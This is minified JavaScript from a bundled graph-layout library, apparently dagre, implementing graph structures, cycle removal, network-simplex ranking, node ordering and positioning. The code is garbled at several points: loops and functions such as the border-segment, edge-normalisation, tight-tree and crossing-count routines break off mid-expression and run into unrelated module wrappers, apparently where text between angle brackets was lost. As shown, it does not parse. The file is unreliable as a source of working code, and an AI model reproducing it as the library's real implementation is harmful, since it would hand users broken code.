this.constructor({directed:this._isDirected,multigraph:this._isMultigraph,compound:this._isCompound});r.setGraph(this.graph());var n=this;Ae(this._nodes,function(s,l){e(l)&&r.setNode(l,s)}),Ae(this._edgeObjs,function(s){r.hasNode(s.v)&&r.hasNode(s.w)&&r.setEdge(s,n.edge(s))});var i={};function a(s){var l=n.parent(s);return l===void 0||r.hasNode(l)?(i[s]=l,l):l in i?i[l]:a(l)}return o(a,"findParent"),this._isCompound&&Ae(r.nodes(),function(s){r.setParent(s,a(s))}),r}setDefaultEdgeLabel(e){return Si(e)||(e=Ns(e)),this._defaultEdgeLabelFn=e,this}edgeCount(){return this._edgeCount}edges(){return kr(this._edgeObjs)}setPath(e,r){var n=this,i=arguments;return Jr(e,function(a,s){return i.length>1?n.setEdge(a,s,r):n.setEdge(a,s),s}),this}setEdge(){var e,r,n,i,a=!1,s=arguments[0];typeof s=="object"&&s!==null&&"v"in s?(e=s.v,r=s.w,n=s.name,arguments.length===2&&(i=arguments[1],a=!0)):(e=s,r=arguments[1],n=arguments[3],arguments.length>2&&(i=arguments[2],a=!0)),e=""+e,r=""+r,xr(n)||(n=""+n);var l=G2(this._isDirected,e,r,n);if(Object.prototype.hasOwnProperty.call(this._edgeLabels,l))return a&&(this._edgeLabels[l]=i),this;if(!xr(n)&&!this._isMultigraph)throw new Error("Cannot set a named edge when isMultigraph = false");this.setNode(e),this.setNode(r),this._edgeLabels[l]=a?i:this._defaultEdgeLabelFn(e,r,n);var u=WBe(this._isDirected,e,r,n);return e=u.v,r=u.w,Object.freeze(u),this._edgeObjs[l]=u,Kae(this._preds[r],e),Kae(this._sucs[e],r),this._in[r][l]=u,this._out[e][l]=u,this._edgeCount++,this}edge(e,r,n){var i=arguments.length===1?$R(this._isDirected,arguments[0]):G2(this._isDirected,e,r,n);return this._edgeLabels[i]}hasEdge(e,r,n){var i=arguments.length===1?$R(this._isDirected,arguments[0]):G2(this._isDirected,e,r,n);return Object.prototype.hasOwnProperty.call(this._edgeLabels,i)}removeEdge(e,r,n){var i=arguments.length===1?$R(this._isDirected,arguments[0]):G2(this._isDirected,e,r,n),a=this._edgeObjs[i];return a&&(e=a.v,r=a.w,delete this._edgeLabels[i],delete this._edgeObjs[i],Qae(this._preds[r],e),Qae(this._sucs[e],r),delete this._in[r][i],delete this._out[e][i],this._edgeCount--),this}inEdges(e,r){var n=this._in[e];if(n){var i=kr(n);return r?Zr(i,function(a){return a.v===r}):i}}outEdges(e,r){var n=this._out[e];if(n){var i=kr(n);return r?Zr(i,function(a){return a.w===r}):i}}nodeEdges(e,r){var n=this.inEdges(e,r);if(n)return n.concat(this.outEdges(e,r))}};cn.prototype._nodeCount=0;cn.prototype._edgeCount=0;o(Kae,"incrementOrInitEntry");o(Qae,"decrementOrRemoveEntry");o(G2,"edgeArgsToId");o(WBe,"edgeArgsToObj");o($R,"edgeObjToId")});var qo=N(()=>{"use strict";gk()});function Zae(t){t._prev._next=t._next,t._next._prev=t._prev,delete t._next,delete t._prev}function YBe(t,e){if(t!=="_next"&&t!=="_prev")return e}var vk,Jae=N(()=>{"use strict";vk=class{static{o(this,"List")}constructor(){var e={};e._next=e._prev=e,this._sentinel=e}dequeue(){var e=this._sentinel,r=e._prev;if(r!==e)return Zae(r),r}enqueue(e){var r=this._sentinel;e._prev&&e._next&&Zae(e),e._next=r._next,r._next._prev=e,r._next=e,e._prev=r}toString(){for(var e=[],r=this._sentinel,n=r._prev;n!==r;)e.push(JSON.stringify(n,YBe)),n=n._prev;return"["+e.join(", ")+"]"}};o(Zae,"unlink");o(YBe,"filterOutLinks")});function ese(t,e){if(t.nodeCount()<=1)return[];var r=KBe(t,e||XBe),n=jBe(r.graph,r.buckets,r.zeroIdx);return Qr(rt(n,function(i){return t.outEdges(i.v,i.w)}))}function jBe(t,e,r){for(var n=[],i=e[e.length-1],a=e[0],s;t.nodeCount();){for(;s=a.dequeue();)zR(t,e,r,s);for(;s=i.dequeue();)zR(t,e,r,s);if(t.nodeCount()){for(var l=e.length-2;l>0;--l)if(s=e[l].dequeue(),s){n=n.concat(zR(t,e,r,s,!0));break}}}return n}function zR(t,e,r,n,i){var a=i?[]:void 0;return Ae(t.inEdges(n.v),function(s){var l=t.edge(s),u=t.node(s.v);i&&a.push({v:s.v,w:s.w}),u.out-=l,GR(e,r,u)}),Ae(t.outEdges(n.v),function(s){var l=t.edge(s),u=s.w,h=t.node(u);h.in-=l,GR(e,r,h)}),t.removeNode(n.v),a}function KBe(t,e){var r=new cn,n=0,i=0;Ae(t.nodes(),function(l){r.setNode(l,{v:l,in:0,out:0})}),Ae(t.edges(),function(l){var u=r.edge(l.v,l.w)||0,h=e(l),f=u+h;r.setEdge(l.v,l.w,f),i=Math.max(i,r.node(l.v).out+=h),n=Math.max(n,r.node(l.w).in+=h)});var a=Ho(i+n+3).map(function(){return new vk}),s=n+1;return Ae(r.nodes(),function(l){GR(a,s,r.node(l))}),{graph:r,buckets:a,zeroIdx:s}}function GR(t,e,r){r.out?r.in?t[r.out-r.in+e].enqueue(r):t[t.length-1].enqueue(r):t[0].enqueue(r)}var XBe,tse=N(()=>{"use strict";Yt();qo();Jae();XBe=Ns(1);o(ese,"greedyFAS");o(jBe,"doGreedyFAS");o(zR,"removeNode");o(KBe,"buildState");o(GR,"assignBucket")});function rse(t){var e=t.graph().acyclicer==="greedy"?ese(t,r(t)):QBe(t);Ae(e,function(n){var i=t.edge(n);t.removeEdge(n),i.forwardName=n.name,i.reversed=!0,t.setEdge(n.w,n.v,i,lp("rev"))});function r(n){return function(i){return n.edge(i).weight}}o(r,"weightFn")}function QBe(t){var e=[],r={},n={};function i(a){Object.prototype.hasOwnProperty.call(n,a)||(n[a]=!0,r[a]=!0,Ae(t.outEdges(a),function(s){Object.prototype.hasOwnProperty.call(r,s.w)?e.push(s):i(s.w)}),delete r[a])}return o(i,"dfs"),Ae(t.nodes(),i),e}function nse(t){Ae(t.edges(),function(e){var r=t.edge(e);if(r.reversed){t.removeEdge(e);var n=r.forwardName;delete r.reversed,delete r.forwardName,t.setEdge(e.w,e.v,r,n)}})}var VR=N(()=>{"use strict";Yt();tse();o(rse,"run");o(QBe,"dfsFAS");o(nse,"undo")});function Lc(t,e,r,n){var i;do i=lp(n);while(t.hasNode(i));return r.dummy=e,t.setNode(i,r),i}function ase(t){var e=new cn().setGraph(t.graph());return Ae(t.nodes(),function(r){e.setNode(r,t.node(r))}),Ae(t.edges(),function(r){var n=e.edge(r.v,r.w)||{weight:0,minlen:1},i=t.edge(r);e.setEdge(r.v,r.w,{weight:n.weight+i.weight,minlen:Math.max(n.minlen,i.minlen)})}),e}function xk(t){var e=new cn({multigraph:t.isMultigraph()}).setGraph(t.graph());return Ae(t.nodes(),function(r){t.children(r).length||e.setNode(r,t.node(r))}),Ae(t.edges(),function(r){e.setEdge(r,t.edge(r))}),e}function UR(t,e){var r=t.x,n=t.y,i=e.x-r,a=e.y-n,s=t.width/2,l=t.height/2;if(!i&&!a)throw new Error("Not possible to find intersection inside of the rectangle");var u,h;return Math.abs(a)*s>Math.abs(i)*l?(a<0&&(l=-l),u=l*i/a,h=l):(i<0&&(s=-s),u=s,h=s*a/i),{x:r+u,y:n+h}}function uf(t){var e=rt(Ho(qR(t)+1),function(){return[]});return Ae(t.nodes(),function(r){var n=t.node(r),i=n.rank;xr(i)||(e[i][n.order]=r)}),e}function sse(t){var e=Rl(rt(t.nodes(),function(r){return t.node(r).rank}));Ae(t.nodes(),function(r){var n=t.node(r);Ft(n,"rank")&&(n.rank-=e)})}function ose(t){var e=Rl(rt(t.nodes(),function(a){return t.node(a).rank})),r=[];Ae(t.nodes(),function(a){var s=t.node(a).rank-e;r[s]||(r[s]=[]),r[s].push(a)});var n=0,i=t.graph().nodeRankFactor;Ae(r,function(a,s){xr(a)&&s%i!==0?--n:n&&Ae(a,function(l){t.node(l).rank+=n})})}function HR(t,e,r,n){var i={width:0,height:0};return arguments.length>=4&&(i.rank=r,i.order=n),Lc(t,"border",i,e)}function qR(t){return Gs(rt(t.nodes(),function(e){var r=t.node(e).rank;if(!xr(r))return r}))}function lse(t,e){var r={lhs:[],rhs:[]};return Ae(t,function(n){e(n)?r.lhs.push(n):r.rhs.push(n)}),r}function cse(t,e){var r=rk();try{return e()}finally{console.log(t+" time: "+(rk()-r)+"ms")}}function use(t,e){return e()}var Rc=N(()=>{"use strict";Yt();qo();o(Lc,"addDummyNode");o(ase,"simplify");o(xk,"asNonCompoundGraph");o(UR,"intersectRect");o(uf,"buildLayerMatrix");o(sse,"normalizeRanks");o(ose,"removeEmptyRanks");o(HR,"addBorderNode");o(qR,"maxRank");o(lse,"partition");o(cse,"time");o(use,"notime")});function fse(t){function e(r){var n=t.children(r),i=t.node(r);if(n.length&&Ae(n,e),Object.prototype.hasOwnProperty.call(i,"minRank")){i.borderLeft=[],i.borderRight=[];for(var a=i.minRank,s=i.maxRank+1;a{"use strict";Yt();Rc();o(fse,"addBorderSegments");o(hse,"addBorderNode")});function mse(t){var e=t.graph().rankdir.toLowerCase();(e==="lr"||e==="rl")&&yse(t)}function gse(t){var e=t.graph().rankdir.toLowerCase();(e==="bt"||e==="rl")&&ZBe(t),(e==="lr"||e==="rl")&&(JBe(t),yse(t))}function yse(t){Ae(t.nodes(),function(e){pse(t.node(e))}),Ae(t.edges(),function(e){pse(t.edge(e))})}function pse(t){var e=t.width;t.width=t.height,t.height=e}function ZBe(t){Ae(t.nodes(),function(e){WR(t.node(e))}),Ae(t.edges(),function(e){var r=t.edge(e);Ae(r.points,WR),Object.prototype.hasOwnProperty.call(r,"y")&&WR(r)})}function WR(t){t.y=-t.y}function JBe(t){Ae(t.nodes(),function(e){YR(t.node(e))}),Ae(t.edges(),function(e){var r=t.edge(e);Ae(r.points,YR),Object.prototype.hasOwnProperty.call(r,"x")&&YR(r)})}function YR(t){var e=t.x;t.x=t.y,t.y=e}var vse=N(()=>{"use strict";Yt();o(mse,"adjust");o(gse,"undo");o(yse,"swapWidthHeight");o(pse,"swapWidthHeightOne");o(ZBe,"reverseY");o(WR,"reverseYOne");o(JBe,"swapXY");o(YR,"swapXYOne")});function xse(t){t.graph().dummyChains=[],Ae(t.edges(),function(e){tFe(t,e)})}function tFe(t,e){var r=e.v,n=t.node(r).rank,i=e.w,a=t.node(i).rank,s=e.name,l=t.edge(e),u=l.labelRank;if(a!==n+1){t.removeEdge(e);var h=void 0,f,d;for(d=0,++n;n{"use strict";Yt();Rc();o(xse,"run");o(tFe,"normalizeEdge");o(bse,"undo")});function V2(t){var e={};function r(n){var i=t.node(n);if(Object.prototype.hasOwnProperty.call(e,n))return i.rank;e[n]=!0;var a=Rl(rt(t.outEdges(n),function(s){return r(s.w)-t.edge(s).minlen}));return(a===Number.POSITIVE_INFINITY||a===void 0||a===null)&&(a=0),i.rank=a}o(r,"dfs"),Ae(t.sources(),r)}function up(t,e){return t.node(e.w).rank-t.node(e.v).rank-t.edge(e).minlen}var bk=N(()=>{"use strict";Yt();o(V2,"longestPath");o(up,"slack")});function Tk(t){var e=new cn({directed:!1}),r=t.nodes()[0],n=t.nodeCount();e.setNode(r,{});for(var i,a;rFe(e,t){"use strict";Yt();qo();bk();o(Tk,"feasibleTree");o(rFe,"tightTree");o(nFe,"findMinSlackEdge");o(iFe,"shiftRanks")});var wse=N(()=>{"use strict"});var KR=N(()=>{"use strict"});var cjt,QR=N(()=>{"use strict";Yt();KR();cjt=Ns(1)});var kse=N(()=>{"use strict";QR()});var ZR=N(()=>{"use strict"});var Ese=N(()=>{"use strict";ZR()});var bjt,Sse=N(()=>{"use strict";Yt();bjt=Ns(1)});function JR(t){var e={},r={},n=[];function i(a){if(Object.prototype.hasOwnProperty.call(r,a))throw new U2;Object.prototype.hasOwnProperty.call(e,a)||(r[a]=!0,e[a]=!0,Ae(t.predecessors(a),i),delete r[a],n.push(a))}if(o(i,"visit"),Ae(t.sinks(),i),BR(e)!==t.nodeCount())throw new U2;return n}function U2(){}var eN=N(()=>{"use strict";Yt();JR.CycleException=U2;o(JR,"topsort");o(U2,"CycleException");U2.prototype=new Error});var Cse=N(()=>{"use strict";eN()});function wk(t,e,r){Bt(e)||(e=[e]);var n=(t.isDirected()?t.successors:t.neighbors).bind(t),i=[],a={};return Ae(e,function(s){if(!t.hasNode(s))throw new Error("Graph does not have node: "+s);Ase(t,s,r==="post",a,n,i)}),i}function Ase(t,e,r,n,i,a){Object.prototype.hasOwnProperty.call(n,e)||(n[e]=!0,r||a.push(e),Ae(i(e),function(s){Ase(t,s,r,n,i,a)}),r&&a.push(e))}var tN=N(()=>{"use strict";Yt();o(wk,"dfs");o(Ase,"doDfs")});function rN(t,e){return wk(t,e,"post")}var _se=N(()=>{"use strict";tN();o(rN,"postorder")});function nN(t,e){return wk(t,e,"pre")}var Dse=N(()=>{"use strict";tN();o(nN,"preorder")});var Lse=N(()=>{"use strict";KR();gk()});var Rse=N(()=>{"use strict";wse();QR();kse();Ese();Sse();Cse();_se();Dse();Lse();ZR();eN()});function ff(t){t=ase(t),V2(t);var e=Tk(t);aN(e),iN(e,t);for(var r,n;r=Ose(e);)n=Pse(e,t,r),Bse(e,t,r,n)}function iN(t,e){var r=rN(t,t.nodes());r=r.slice(0,r.length-1),Ae(r,function(n){cFe(t,e,n)})}function cFe(t,e,r){var n=t.node(r),i=n.parent;t.edge(r,i).cutvalue=Mse(t,e,r)}function Mse(t,e,r){var n=t.node(r),i=n.parent,a=!0,s=e.edge(r,i),l=0;return s||(a=!1,s=e.edge(i,r)),l=s.weight,Ae(e.nodeEdges(r),function(u){var h=u.v===r,f=h?u.w:u.v;if(f!==i){var d=h===a,p=e.edge(u).weight;if(l+=d?p:-p,hFe(t,r,f)){var m=t.edge(r,f).cutvalue;l+=d?-m:m}}}),l}function aN(t,e){arguments.length<2&&(e=t.nodes()[0]),Ise(t,{},1,e)}function Ise(t,e,r,n,i){var a=r,s=t.node(n);return e[n]=!0,Ae(t.neighbors(n),function(l){Object.prototype.hasOwnProperty.call(e,l)||(r=Ise(t,e,r,l,n))}),s.low=a,s.lim=r++,i?s.parent=i:delete s.parent,r}function Ose(t){return os(t.edges(),function(e){return t.edge(e).cutvalue<0})}function Pse(t,e,r){var n=r.v,i=r.w;e.hasEdge(n,i)||(n=r.w,i=r.v);var a=t.node(n),s=t.node(i),l=a,u=!1;a.lim>s.lim&&(l=s,u=!0);var h=Zr(e.edges(),function(f){return u===Nse(t,t.node(f.v),l)&&u!==Nse(t,t.node(f.w),l)});return sp(h,function(f){return up(e,f)})}function Bse(t,e,r,n){var i=r.v,a=r.w;t.removeEdge(i,a),t.setEdge(n.v,n.w,{}),aN(t),iN(t,e),uFe(t,e)}function uFe(t,e){var r=os(t.nodes(),function(i){return!e.node(i).parent}),n=nN(t,r);n=n.slice(1),Ae(n,function(i){var a=t.node(i).parent,s=e.edge(i,a),l=!1;s||(s=e.edge(a,i),l=!0),e.node(i).rank=e.node(a).rank+(l?s.minlen:-s.minlen)})}function hFe(t,e,r){return t.hasEdge(e,r)}function Nse(t,e,r){return r.low<=e.lim&&e.lim<=r.lim}var Fse=N(()=>{"use strict";Yt();Rse();Rc();jR();bk();ff.initLowLimValues=aN;ff.initCutValues=iN;ff.calcCutValue=Mse;ff.leaveEdge=Ose;ff.enterEdge=Pse;ff.exchangeEdges=Bse;o(ff,"networkSimplex");o(iN,"initCutValues");o(cFe,"assignCutValue");o(Mse,"calcCutValue");o(aN,"initLowLimValues");o(Ise,"dfsAssignLowLim");o(Ose,"leaveEdge");o(Pse,"enterEdge");o(Bse,"exchangeEdges");o(uFe,"updateRanks");o(hFe,"isTreeEdge");o(Nse,"isDescendant")});function sN(t){switch(t.graph().ranker){case"network-simplex":$se(t);break;case"tight-tree":dFe(t);break;case"longest-path":fFe(t);break;default:$se(t)}}function dFe(t){V2(t),Tk(t)}function $se(t){ff(t)}var fFe,oN=N(()=>{"use strict";jR();Fse();bk();o(sN,"rank");fFe=V2;o(dFe,"tightTreeRanker");o($se,"networkSimplexRanker")});function zse(t){var e=Lc(t,"root",{},"_root"),r=pFe(t),n=Gs(kr(r))-1,i=2*n+1;t.graph().nestingRoot=e,Ae(t.edges(),function(s){t.edge(s).minlen*=i});var a=mFe(t)+1;Ae(t.children(),function(s){Gse(t,e,i,a,n,r,s)}),t.graph().nodeRankFactor=i}function Gse(t,e,r,n,i,a,s){var l=t.children(s);if(!l.length){s!==e&&t.setEdge(e,s,{weight:0,minlen:r});return}var u=HR(t,"_bt"),h=HR(t,"_bb"),f=t.node(s);t.setParent(u,s),f.borderTop=u,t.setParent(h,s),f.borderBottom=h,Ae(l,function(d){Gse(t,e,r,n,i,a,d);var p=t.node(d),m=p.borderTop?p.borderTop:d,g=p.borderBottom?p.borderBottom:d,y=p.borderTop?n:2*n,v=m!==g?1:i-a[s]+1;t.setEdge(u,m,{weight:y,minlen:v,nestingEdge:!0}),t.setEdge(g,h,{weight:y,minlen:v,nestingEdge:!0})}),t.parent(s)||t.setEdge(e,u,{weight:0,minlen:i+a[s]})}function pFe(t){var e={};function r(n,i){var a=t.children(n);a&&a.length&&Ae(a,function(s){r(s,i+1)}),e[n]=i}return o(r,"dfs"),Ae(t.children(),function(n){r(n,1)}),e}function mFe(t){return Jr(t.edges(),function(e,r){return e+t.edge(r).weight},0)}function Vse(t){var e=t.graph();t.removeNode(e.nestingRoot),delete e.nestingRoot,Ae(t.edges(),function(r){var n=t.edge(r);n.nestingEdge&&t.removeEdge(r)})}var Use=N(()=>{"use strict";Yt();Rc();o(zse,"run");o(Gse,"dfs");o(pFe,"treeDepths");o(mFe,"sumWeights");o(Vse,"cleanup")});function Hse(t,e,r){var n={},i;Ae(r,function(a){for(var s=t.parent(a),l,u;s;){if(l=t.parent(s),l?(u=n[l],n[l]=s):(u=i,i=s),u&&u!==s){e.setEdge(u,s);return}s=l}})}var qse=N(()=>{"use strict";Yt();o(Hse,"addSubgraphConstraints")});function Wse(t,e,r){var n=yFe(t),i=new cn({compound:!0}).setGraph({root:n}).setDefaultNodeLabel(function(a){return t.node(a)});return Ae(t.nodes(),function(a){var s=t.node(a),l=t.parent(a);(s.rank===e||s.minRank<=e&&e<=s.maxRank)&&(i.setNode(a),i.setParent(a,l||n),Ae(t[r](a),function(u){var h=u.v===a?u.w:u.v,f=i.edge(h,a),d=xr(f)?0:f.weight;i.setEdge(h,a,{weight:t.edge(u).weight+d})}),Object.prototype.hasOwnProperty.call(s,"minRank")&&i.setNode(a,{borderLeft:s.borderLeft[e],borderRight:s.borderRight[e]}))}),i}function yFe(t){for(var e;t.hasNode(e=lp("_root")););return e}var Yse=N(()=>{"use strict";Yt();qo();o(Wse,"buildLayerGraph");o(yFe,"createRootNode")});function Xse(t,e){for(var r=0,n=1;n0;)f%2&&(d+=l[f+1]),f=f-1>>1,l[f]+=h.weight;u+=h.weight*d})),u}var jse=N(()=>{"use strict";Yt();o(Xse,"crossCount");o(vFe,"twoLayerCrossCount")});function Kse(t){var e={},r=Zr(t.nodes(),function(l){return!t.children(l).length}),n=Gs(rt(r,function(l){return t.node(l).rank})),i=rt(Ho(n+1),function(){return[]});function a(l){if(!Ft(e,l)){e[l]=!0;var u=t.node(l);i[u.rank].push(l),Ae(t.successors(l),a)}}o(a,"dfs");var s=Dc(r,function(l){return t.node(l).rank});return Ae(s,a),i}var Qse=N(()=>{"use strict";Yt();o(Kse,"initOrder")});function Zse(t,e){return rt(e,function(r){var n=t.inEdges(r);if(n.length){var i=Jr(n,function(a,s){var l=t.edge(s),u=t.node(s.v);return{sum:a.sum+l.weight*u.order,weight:a.weight+l.weight}},{sum:0,weight:0});return{v:r,barycenter:i.sum/i.weight,weight:i.weight}}else return{v:r}})}var Jse=N(()=>{"use strict";Yt();o(Zse,"barycenter")});function eoe(t,e){var r={};Ae(t,function(i,a){var s=r[i.v]={indegree:0,in:[],out:[],vs:[i.v],i:a};xr(i.barycenter)||(s.barycenter=i.barycenter,s.weight=i.weight)}),Ae(e.edges(),function(i){var a=r[i.v],s=r[i.w];!xr(a)&&!xr(s)&&(s.indegree++,a.out.push(r[i.w]))});var n=Zr(r,function(i){return!i.indegree});return xFe(n)}function xFe(t){var e=[];function r(a){return function(s){s.merged||(xr(s.barycenter)||xr(a.barycenter)||s.barycenter>=a.barycenter)&&bFe(a,s)}}o(r,"handleIn");function n(a){return function(s){s.in.push(a),--s.indegree===0&&t.push(s)}}for(o(n,"handleOut");t.length;){var i=t.pop();e.push(i),Ae(i.in.reverse(),r(i)),Ae(i.out,n(i))}return rt(Zr(e,function(a){return!a.merged}),function(a){return op(a,["vs","i","barycenter","weight"])})}function bFe(t,e){var r=0,n=0;t.weight&&(r+=t.barycenter*t.weight,n+=t.weight),e.weight&&(r+=e.barycenter*e.weight,n+=e.weight),t.vs=e.vs.concat(t.vs),t.barycenter=r/n,t.weight=n,t.i=Math.min(e.i,t.i),e.merged=!0}var toe=N(()=>{"use strict";Yt();o(eoe,"resolveConflicts");o(xFe,"doResolveConflicts");o(bFe,"mergeEntries")});function noe(t,e){var r=lse(t,function(f){return Object.prototype.hasOwnProperty.call(f,"barycenter")}),n=r.lhs,i=Dc(r.rhs,function(f){return-f.i}),a=[],s=0,l=0,u=0;n.sort(TFe(!!e)),u=roe(a,i,u),Ae(n,function(f){u+=f.vs.length,a.push(f.vs),s+=f.barycenter*f.weight,l+=f.weight,u=roe(a,i,u)});var h={vs:Qr(a)};return l&&(h.barycenter=s/l,h.weight=l),h}function roe(t,e,r){for(var n;e.length&&(n=ma(e)).i<=r;)e.pop(),t.push(n.vs),r++;return r}function TFe(t){return function(e,r){return e.barycenterr.barycenter?1:t?r.i-e.i:e.i-r.i}}var ioe=N(()=>{"use strict";Yt();Rc();o(noe,"sort");o(roe,"consumeUnsortable");o(TFe,"compareWithBias")});function lN(t,e,r,n){var i=t.children(e),a=t.node(e),s=a?a.borderLeft:void 0,l=a?a.borderRight:void 0,u={};s&&(i=Zr(i,function(g){return g!==s&&g!==l}));var h=Zse(t,i);Ae(h,function(g){if(t.children(g.v).length){var y=lN(t,g.v,r,n);u[g.v]=y,Object.prototype.hasOwnProperty.call(y,"barycenter")&&kFe(g,y)}});var f=eoe(h,r);wFe(f,u);var d=noe(f,n);if(s&&(d.vs=Qr([s,d.vs,l]),t.predecessors(s).length)){var p=t.node(t.predecessors(s)[0]),m=t.node(t.predecessors(l)[0]);Object.prototype.hasOwnProperty.call(d,"barycenter")||(d.barycenter=0,d.weight=0),d.barycenter=(d.barycenter*d.weight+p.order+m.order)/(d.weight+2),d.weight+=2}return d}function wFe(t,e){Ae(t,function(r){r.vs=Qr(r.vs.map(function(n){return e[n]?e[n].vs:n}))})}function kFe(t,e){xr(t.barycenter)?(t.barycenter=e.barycenter,t.weight=e.weight):(t.barycenter=(t.barycenter*t.weight+e.barycenter*e.weight)/(t.weight+e.weight),t.weight+=e.weight)}var aoe=N(()=>{"use strict";Yt();Jse();toe();ioe();o(lN,"sortSubgraph");o(wFe,"expandSubgraphs");o(kFe,"mergeBarycenters")});function loe(t){var e=qR(t),r=soe(t,Ho(1,e+1),"inEdges"),n=soe(t,Ho(e-1,-1,-1),"outEdges"),i=Kse(t);ooe(t,i);for(var a=Number.POSITIVE_INFINITY,s,l=0,u=0;u<4;++l,++u){EFe(l%2?r:n,l%4>=2),i=uf(t);var h=Xse(t,i);h{"use strict";Yt();qo();Rc();qse();Yse();jse();Qse();aoe();o(loe,"order");o(soe,"buildLayerGraphs");o(EFe,"sweepLayerGraphs");o(ooe,"assignOrder")});function uoe(t){var e=CFe(t);Ae(t.graph().dummyChains,function(r){for(var n=t.node(r),i=n.edgeObj,a=SFe(t,e,i.v,i.w),s=a.path,l=a.lca,u=0,h=s[u],f=!0;r!==i.w;){if(n=t.node(r),f){for(;(h=s[u])!==l&&t.node(h).maxRanks||l>e[u].lim));for(h=u,u=n;(u=t.parent(u))!==h;)a.push(u);return{path:i.concat(a.reverse()),lca:h}}function CFe(t){var e={},r=0;function n(i){var a=r;Ae(t.children(i),n),e[i]={low:a,lim:r++}}return o(n,"dfs"),Ae(t.children(),n),e}var hoe=N(()=>{"use strict";Yt();o(uoe,"parentDummyChains");o(SFe,"findPath");o(CFe,"postorder")});function AFe(t,e){var r={};function n(i,a){var s=0,l=0,u=i.length,h=ma(a);return Ae(a,function(f,d){var p=DFe(t,f),m=p?t.node(p).order:u;(p||f===h)&&(Ae(a.slice(l,d+1),function(g){Ae(t.predecessors(g),function(y){var v=t.node(y),x=v.order;(xh)&&foe(r,p,f)})})}o(n,"scan");function i(a,s){var l=-1,u,h=0;return Ae(s,function(f,d){if(t.node(f).dummy==="border"){var p=t.predecessors(f);p.length&&(u=t.node(p[0]).order,n(s,h,d,l,u),h=d,l=u)}n(s,h,s.length,u,a.length)}),s}return o(i,"visitLayer"),Jr(e,i),r}function DFe(t,e){if(t.node(e).dummy)return os(t.predecessors(e),function(r){return t.node(r).dummy})}function foe(t,e,r){if(e>r){var n=e;e=r,r=n}var i=t[e];i||(t[e]=i={}),i[r]=!0}function LFe(t,e,r){if(e>r){var n=e;e=r,r=n}return!!t[e]&&Object.prototype.hasOwnProperty.call(t[e],r)}function RFe(t,e,r,n){var i={},a={},s={};return Ae(e,function(l){Ae(l,function(u,h){i[u]=u,a[u]=u,s[u]=h})}),Ae(e,function(l){var u=-1;Ae(l,function(h){var f=n(h);if(f.length){f=Dc(f,function(y){return s[y]});for(var d=(f.length-1)/2,p=Math.floor(d),m=Math.ceil(d);p<=m;++p){var g=f[p];a[h]===h&&u{"use strict";Yt();qo();Rc();o(AFe,"findType1Conflicts");o(_Fe,"findType2Conflicts");o(DFe,"findOtherInnerSegmentNode");o(foe,"addConflict");o(LFe,"hasConflict");o(RFe,"verticalAlignment");o(NFe,"horizontalCompaction");o(MFe,"buildBlockGraph");o(IFe,"findSmallestWidthAlignment");o(OFe,"alignCoordinates");o(PFe,"balance");o(doe,"positionX");o(BFe,"sep");o(FFe,"width")});function moe(t){t=xk(t),$Fe(t),_R(doe(t),function(e,r){t.node(r).x=e})}function $Fe(t){var e=uf(t),r=t.graph().ranksep,n=0;Ae(e,function(i){var a=Gs(rt(i,function(s){return t.node(s).height}));Ae(i,function(s){t.node(s).y=n+a/2}),n+=a+r})}var goe=N(()=>{"use strict";Yt();Rc();poe();o(moe,"position");o($Fe,"positionY")});function H2(t,e){var r=e&&e.debugTiming?cse:use;r("layout",()=>{var n=r(" buildLayoutGraph",()=>KFe(t));r(" runLayout",()=>zFe(n,r)),r(" updateInputGraph",()=>GFe(t,n))})}function zFe(t,e){e(" makeSpaceForEdgeLabels",()=>QFe(t)),e(" removeSelfEdges",()=>s$e(t)),e(" acyclic",()=>rse(t)),e(" nestingGraph.run",()=>zse(t)),e(" rank",()=>sN(xk(t))),e(" injectEdgeLabelProxies",()=>ZFe(t)),e(" removeEmptyRanks",()=>ose(t)),e(" nestingGraph.cleanup",()=>Vse(t)),e(" normalizeRanks",()=>sse(t)),e(" assignRankMinMax",()=>JFe(t)),e(" removeEdgeLabelProxies",()=>e$e(t)),e(" normalize.run",()=>xse(t)),e(" parentDummyChains",()=>uoe(t)),e(" addBorderSegments",()=>fse(t)),e(" order",()=>loe(t)),e(" insertSelfEdges",()=>o$e(t)),e(" adjustCoordinateSystem",()=>mse(t)),e(" position",()=>moe(t)),e(" positionSelfEdges",()=>l$e(t)),e(" removeBorderNodes",()=>a$e(t)),e(" normalize.undo",()=>bse(t)),e(" fixupEdgeLabelCoords",()=>n$e(t)),e(" undoCoordinateSystem",()=>gse(t)),e(" translateGraph",()=>t$e(t)),e(" assignNodeIntersects",()=>r$e(t)),e(" reversePoints",()=>i$e(t)),e(" acyclic.undo",()=>nse(t))}function GFe(t,e){Ae(t.nodes(),function(r){var n=t.node(r),i=e.node(r);n&&(n.x=i.x,n.y=i.y,e.children(r).length&&(n.width=i.width,n.height=i.height))}),Ae(t.edges(),function(r){var n=t.edge(r),i=e.edge(r);n.points=i.points,Object.prototype.hasOwnProperty.call(i,"x")&&(n.x=i.x,n.y=i.y)}),t.graph().width=e.graph().width,t.graph().height=e.graph().height}function KFe(t){var e=new cn({multigraph:!0,compound:!0}),r=uN(t.graph());return e.setGraph(Wh({},UFe,cN(r,VFe),op(r,HFe))),Ae(t.nodes(),function(n){var i=uN(t.node(n));e.setNode(n,of(cN(i,qFe),WFe)),e.setParent(n,t.parent(n))}),Ae(t.edges(),function(n){var i=uN(t.edge(n));e.setEdge(n,Wh({},XFe,cN(i,YFe),op(i,jFe)))}),e}function QFe(t){var e=t.graph();e.ranksep/=2,Ae(t.edges(),function(r){var n=t.edge(r);n.minlen*=2,n.labelpos.toLowerCase()!=="c"&&(e.rankdir==="TB"||e.rankdir==="BT"?n.width+=n.labeloffset:n.height+=n.labeloffset)})}function ZFe(t){Ae(t.edges(),function(e){var r=t.edge(e);if(r.width&&r.height){var n=t.node(e.v),i=t.node(e.w),a={rank:(i.rank-n.rank)/2+n.rank,e};Lc(t,"edge-proxy",a,"_ep")}})}function JFe(t){var e=0;Ae(t.nodes(),function(r){var n=t.node(r);n.borderTop&&(n.minRank=t.node(n.borderTop).rank,n.maxRank=t.node(n.borderBottom).rank,e=Gs(e,n.maxRank))}),t.graph().maxRank=e}function e$e(t){Ae(t.nodes(),function(e){var r=t.node(e);r.dummy==="edge-proxy"&&(t.edge(r.e).labelRank=r.rank,t.removeNode(e))})}function t$e(t){var e=Number.POSITIVE_INFINITY,r=0,n=Number.POSITIVE_INFINITY,i=0,a=t.graph(),s=a.marginx||0,l=a.marginy||0;function u(h){var 